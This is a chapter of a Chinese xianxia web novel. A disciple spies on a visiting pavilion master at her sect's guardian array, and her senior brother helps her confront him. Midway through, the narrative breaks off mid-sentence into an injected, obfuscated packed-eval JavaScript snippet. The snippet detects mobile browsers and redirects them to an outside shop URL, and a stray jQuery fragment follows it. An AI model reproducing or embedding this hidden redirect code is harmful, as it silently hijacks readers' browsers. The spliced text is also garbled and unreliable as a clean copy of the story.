溪陶自然知晓,败月轩对于弟子外出的管控向来严格,虽说向溪陶这种长老亲传弟子不在管控之内,但还是遵守些章程比较好。

    溪陶得了江酌的准许,简直像出笼的雀儿,连蹦带跳地回了自己屋里换衣裳。

    临出门前,江酌靠在门框边,叮嘱她带上自己在昆仑境买的柳叶簪。

    “知道啦知道啦!”溪陶顺手插上簪子,头也不回地朝后山方向奔去,一溜烟便没入了山道拐角。

    通往后山的路虽有两三条,但中间必然路过藏书阁。

    溪陶抄了上回同大师兄一起去藏书阁的那条小路,她记得这条路的尽头连着山脚,穿出去便是秀水境的镇市。

    上回她走过一次,还称得上熟悉。

    山间的日光正好,穿过竹叶在青石板上落下斑驳的光斑。溪陶心情极好,想着待会儿下山要给几个大师兄都买些好东西,还有三位长老,比较她手头的银两基本都是师兄和师傅给的。

    当然还有扶光师姐,她之前可没少给她买东西。

    溪陶盘算得眉飞色舞,脚步愈发轻快。可就在她转过一个弯、正要拐上通往山脚的小道时,她脚步猛然顿住了。

    前方约莫二十丈外的山道上,有一道熟悉的身影。

    那身材,那姿势,这些天溪陶早就熟悉了。

    正是残星阁的无疆阁主。

    看来这无疆阁主确实同琼华长老关系极好,上回她同大师兄从藏书阁出来时,便撞见了无疆阁主正准备去后山仙乐阁。

    溪陶没有多想,出于礼节礼貌正欲上去打招呼,却看见那无疆阁主在后山处交叉路口时,走了另一条道。

    那不是通往仙乐阁的道儿。

    那分明就是通往后山阵法的路。

    溪陶愣住了。

    先前正要开口的招呼被硬生生咽了下去,她下意识地往路边的树丛后闪了半步,探出半个脑袋往外头张望。

    无疆阁主没有回头,也没有察觉到她的存在,只是沿着山道继续往前走,方向分明确是往后山阵法去的。

    他为何要去那儿?

    溪陶想不明白。但想起先前失窃的往生莲,还有刚刚被安置妥当的寻魂莲,溪陶的心兀然提了起来。

    她突然想起几天前和大师兄从藏书阁出来时,也在这条道上碰见了无疆阁主。那时她询问无疆阁主去处,大师兄也跟着问了一句。

    现在回想起来,这无疆阁主当时确实愣了一下,才点头说是的。

    那个瞬间的停顿,当时不觉得有什么,此刻却像一盆冷水,猛得砸在她头上。

    溪陶下意识瞪大了眼,屏住呼吸,蹑手蹑脚地跟了上去。

    本来她对自己的跟踪术其实没什么信心,好在这一路上山道曲折,两旁又有不少灌木和石块可以藏身。

    无疆阁主走得不算快,中间也未曾回头,像是确信这条山道上不会有别人。

    越往后山走,树木越密,光线也越暗了些。

    这条道溪陶走过许多次,知道再拐过前方那道石壁,便是后山那片青黑色巨石铺成的空地,也就是败月轩镇山阵法所在的地方。

    她放慢了脚步,在转过石壁前贴着岩壁前,小心翼翼地探出半个头。

    果然,无疆阁主在阵法边缘停住了脚步。

    他负手站在那片青黑石地前,沉默了片刻,然后猛然抬起右手,口中开始念着溪陶听不见的术语。

    溪陶浑身僵硬,探头只瞧见他掌心凝出一团幽绿色的灵光。

    须臾间,地面那层掩人耳目的青苔和泥土竟像是被无形的力量拂去,露出底下密布的蓝色灵纹来。

    是护山阵法。

    他竟然也能催动这个阵法。溪陶的心跳陡然加速,攥着岩壁边缘的指尖微微发白。

    无疆阁主低头看着阵面,目光在那流转的灵纹上游移了片刻,最终落在了阵图中央那朵静静嵌着的莲花上。

    寻魂莲在阵中散发着幽幽蓝光,花瓣舒展,灵力流转平稳,看上去倒像是本来就属于这阵法。

    “这就是寻魂莲啊……”溪陶隐约听见他低声说了这么一句。

    语气里似乎没有喜怒,倒像是意外中带着几分探究。

    他微微俯下身,凑地近了些,盯着那朵莲花看了好一会儿。

    无疆阁主双手一张,腾空飞到阵法中心寻魂莲之上,他正欲伸手去触摸,却在即将触碰到的瞬间敛了神色。

    他锐利的目光四下扫过,警觉地环视了一圈周围的山林。

    溪陶的心提到了嗓子眼。

    她猛地缩回脑袋,整个人紧贴在石壁后面。

    此时的溪陶心跳如雷,思绪混乱,她只想着早早回到大师兄身边,将今日发生之事全盘告知大师兄。

    突然间,溪陶感觉到有神识扫过她藏身的这片区域,那股探查的力道不重却有力,探查之人定然仙力不凡。

    若非她这几日天天被江酌逼着练功,对灵力的感知敏锐了不少,怕是根本察觉不到。

    完了完了完了!

    她在心里疯狂地念叨着,后背贴着冰凉的岩壁,一动也不敢动。

    就在那道探查的神识即将扫到她藏身的石壁后方时,另一道熟悉的气息忽然从身后笼罩下来。

    溪陶还没来得及反应,一只手便从背后伸过来,准确地覆住了她的口鼻。

    那人将溪陶整个人搂在怀中,掌心干燥温热,风吹动发丝蹭过溪陶的链家,有些痒痒的。

    她整个人被往石壁后面带了带,后背贴进了一个坚实的怀抱。溪陶下意识想要挣扎,却在闻到那气息的瞬间僵住了。

    是大师兄。

    她不敢回头,只能用余光瞥见江酌不知何时出现在她身侧,另一只手揽着她的肩将她往自己这边带了带。他没有说话,只是垂下眼眸看了她一眼,然后摇了摇头。

    溪陶当然明白了江酌的意思——

    不要出声。

    溪陶立刻小鸡啄米似的点了点头。

    无疆阁主的神识又在周围盘旋了几息,终于缓缓撤去。

    溪陶屏着气等了好一会儿,直到那勘测的灵力消失,才敢微微松一口气。

    江酌的手从她唇上放了下来。

    溪陶猛地转过身,仰着脸看向江酌,方才被捂住的嘴还半张着,心跳如鼓。

    她压低了声音,语气有些惊慌:“大师兄!你怎么在这儿!”

    江酌垂眸看着她,面色

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877356|212214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    比平时沉了几分,却并没有责备的意思。

    他抬手点了点溪陶发间的柳叶发簪:“你说呢?”

    溪陶眨了眨眼,这才后知后觉地想起,他先前特意叮嘱自己记得带上簪子。

    她当时只当是大师兄觉着她带这个簪子好看,竟不知还有其他意思。

    “你是知道我会出事?”溪陶瞪大了眼。

    江酌摇了摇头,坦然的说道:“我其实并不知晓。先前在这簪子上施法术是怕你出意外没人照应,没想到竟在今日用上了。”

    语毕后江酌没有继续说话,只是示意溪陶注意阵法处的动静。

    那无疆阁主依旧注视着寻魂莲,可他明明有启动阵法的能力,也盯着那寻魂莲好些时间,却迟迟没有动手。

    给溪陶十个脑袋她也实在是猜不透,这无疆阁主,究竟要干什么?

    溪陶仰着头,一脸困惑,眼巴巴地等着江酌回答。

    阳光透过竹叶落在她眉梢,倒是将她整个人落得温婉了些。

    江酌却只是弯了弯嘴角,没什么多余的表情。

    他笑得高深莫测,对着溪陶挑了挑眉:“走,我们去会会他。”

    溪陶一愣:“啊?”

    江酌没答话,只抬袖轻轻一拂。

    溪陶只觉眼前忽地一亮,整片山林的轮廓在那一瞬间晃了晃,重新落定时,她脚下已不再是方才那面冰冷的石壁之后了。

    她眨了眨眼。

    日光暖融融地铺在脸上,眼前是那条通往后山的分叉路口,竹影斑驳,鸟鸣清脆。

    后山阵法在前面不远处。

    溪陶怔了一瞬,猛地转头看向江酌。

    江酌站在她身侧,双手负在身后,姿态松散得像只是出来散了个步。

    他面上神情淡淡,看不出什么端倪,目光却已经越过了她,朝山道上方的那一处拐角落去。

    他忽然开口,声量不大不小,正好足够让山道那头的人听见。

    “溪陶。”

    溪陶愣了一下,下意识地应了一声:“啊?”

    江酌的语气带着一点兄长似的无奈,听起来很是随意:“今日你练功勤奋,特许你来后山走上一走。”

    她还没反应过来这话接得是什么由头,抬眼便看见那无疆阁主转过头来。

    那无疆阁主面色倒是和煦,远远地便朝他们点了点头。

    “江酌,溪陶。二位倒是好雅兴。”无疆阁主步子不急不缓地走近,开口时语气温和。

    他面上笑意妥帖,看溪陶时眼神与平常毫无二致,全然不知自己方才的行踪已被人撞破。

    溪陶心里翻涌得厉害,面上却硬撑着没有露馅。

    溪陶想着做戏做全套,便福了福身:“无疆阁主安好。”

    江酌也拱了拱手,笑道:“阁主今日好兴致,竟往后山来了?这阵法,是……”

    江酌指了指还未来得及收回的护山阵法。

    无疆阁主面上神色未变:路过罢了。先前与琼华长老聊起贵派往生莲失窃一事,心中始终记挂。方才路过此地,忽地想起这阵法便在败月轩后山,便想顺道看看有无可效劳之处。”

    江酌和溪陶可不信这老狐狸的话。